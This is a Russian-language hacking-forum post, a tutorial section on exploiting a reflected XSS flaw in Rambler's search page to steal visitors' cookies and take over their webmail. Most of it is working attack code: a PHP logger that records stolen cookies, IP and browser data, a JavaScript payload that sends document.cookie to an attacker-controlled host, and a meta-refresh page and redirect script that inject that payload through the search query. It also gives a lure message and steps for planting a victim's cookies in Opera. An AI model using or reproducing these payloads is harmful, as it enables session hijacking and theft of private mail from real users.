Показать сообщение отдельно

  #5  
Старый 17.06.2009, 17:03
Chrome~
Постоянный
Регистрация: 13.12.2008
Сообщений: 354
С нами: 9162683

Репутация: 175
По умолчанию

3. Использование XSS-уязвимостей

Как же использовать XSS-уязвимости?

Выше я написал, что XSS-уязвимости чаще всего используются для того, что бы получить cookies жертвы. Давайте с помощью найденной уязвимости на Рамблере, подсмотрим наши кукисы. Для этого выполните следующий JavaScript код: (код document.cookie возвращает cookies сайта)

Код:
<script>alert(document.cookie)</script>
То есть, откроем страницу

http://nova.rambler.ru/search?query=...okie)</script>

Мы видим непонятный текст в окошке сообщения. Этот текст и есть наши cookies! Как я раньше писал, они выводятся в формате имя=значение и разделяются “;”.

А что будет, если мы получим кукисы жертвы? Давайте представим такой случай: жертва зашла в свою почту на Рамблере, читает входящие письма. Тут она видит Ваше сообщение, в котором Вы пишете, что нашли прикольный сайт! Заходи! Она переходит по Вашей ссылке… и действительно попадает на какой то сайт. На самом же деле, кукисы уже в нас. Теперь достаточно зайти под браузером, который разрешает редактировать кукисы (например, Opera), и подставить кукисы жертвы, вместо своих. После этого нужно нажать кнопку “Обновить”, — и мы увидим почту жертвы вместо своей.

Как подставить чужие cookies вместо своих в Opera? Очень просто! Достаточно выполнить команду Инструменты => Настройки… и во вкладке “Дополнительно” выбрать пункт “Cookies”. Теперь, в окошке, что появится, выбираем соответствующие имена кукисов, жмем кнопку “Изменить” и заменяем их соответствующими значениями.


Можете провести эксперимент: зарегистрируйте два почтовых аккаунта на одном и том же почтовом сервере, посмотрите кукисы одного из них и сохраните во временном текстовом файле. Теперь зайдите под вторым аккаунтом, отредактируйте новые кукисы старимы значениями из текстового файла, и нажмите “Обновить”. Мы снова окажемся в первом аккаунте.

Как можно реализовать то, что бы при переходе по ссылке мы получали кукисы того, кто перешел? Очень просто. Помните, как мы учились делать с Вами фейк? Вот теперь нужно создать те же 3 файла, только с немного другим содержимым. Файл base.php должен быть точно таким, как и при создании фейка, а вот код для файла log.php придется переписать немного:

PHP код:
<?PHP
$Cookies 
= UrlDecode(getenv("QUERY_STRING")); // Читаем переменную a из GET-запроса, в которой будут кукисы
$Date = date("d-m-y H:i:s", time()); // Дата и время
$browser = getenv("HTTP_USER_AGENT"); // Информация о браузере
$ref = getenv("HTTP_REFERER"); // Страница, с которой пришли
$ip = getenv("REMOTE_ADDR"); // IP адрес

// Записываем полученные данные
$text = "\r\n\r\nDate: $Date\r\nBrowser: $browser\r\nReferer: $ref\r\nIP: $ip\r\nQuery: $Cookies\r\n\r\n";

$filelog = fopen("base.php","a+"); // Открываем файл базы
fwrite($filelog,"$text"); // Записываем
fclose($filelog); // Закрываем
header('Location: http://somesite.ru'); // Переводим жертву на указанный адрес
?>
В этом коде мы будем получать кукисы с помощью GET-запроса и записывать их в файл.

Как же нам отправить GET-запрос с кукисами на наш скрипт? Тут нету совсем ничего сложного!!! Создадим файл js.js с таким содержимым:

Код:
var concat = function()
{
var args = Array.prototype.slice.call(arguments);
return args.join("");
}

a = "http://www.your_site.com/log.php?";
b = document.cookie;
location.href = concat(a, b);
В этом JavaScript коде нет ничего сложного. Внимание нужно обратить только на эту строчку:

Код:
a = "http://www.your_site.com/log.php?";
Тут должен быть полный путь к нашему log.php файлу, + строка “?”. Далее к этой строке с помощью JavaScript кода мы дописываем значение document.cookie. Благодаря этому мы получаем строку, в которой передаются необходимые cookie.

Последняя строка

Код:
location.href = concat(a, b);
Пересылает данные нашему скрипту, который записывает кукисы в базу данных.

Теперь нам нужно сделать файл index.htm с таким содержимым:

Код:
<html>
<head>
<META HTTP-EQUIV='Refresh' content ='0; URL= http://nova.rambler.ru/search?query=</title><SCRIPT type=%22text/javascript%22 src=%22http://your_site.com/js.js%22></SCRIPT>'>
</head>
</html>
%22 — это аналог символа " в HTML-encode. Мы пишем здесь именно так, потому что не допускается написание кавычек в кавычках. (пользуемся аналогом кавычек)

Все 4 файла (index.htm, js.js, log.php, base.php) мы должны залить в одну директорию нашего хостинга. При переходе по нашей ссылке http://your_site.com и при условии, что все эти файлы будут в корневом мы получим cookies жертвы к сайту http://rambler.ru. Если Вы хотите, что бы файлы не находились в корневом каталоге Вашего сайта, то нужно будет немного изменить код (вместо http://your_site.com прописать полную ссылку к файлу).

И последнее, на чем я хотел бы сконцентрировать Ваше внимание, это скрипт

Код:
<script>location.href="http://nova.rambler.ru/search?query=</title><SCRIPT type="text/javascript" src="http://your_site.com/js.js"></SCRIPT>"<script>
Он делает редирект на страницу http://nova.rambler.ru/search?query=....js"></SCRIPT>. Что за странное значение получает переменная query? Она передает в себе скрипт

Код:
<SCRIPT type="text/javascript" src="http://your_site.com/js.js"></SCRIPT>
благодаря которому в код страницы с результатами поиска прописывается еще весь код файла js.js. В противном случае мы бы должны были прописывать его в ссылку сами, делая саму ссылку невероятно длинной и неудобной. То есть конструкция

Код:
<SCRIPT type="text/javascript" src="полный адрес кода"></SCRIPT>
значительно облегчает нашу работу.

Последний раз редактировалось Chrome~; 26.09.2009 в 13:05.. Причина: Правка
 
Ответить с цитированием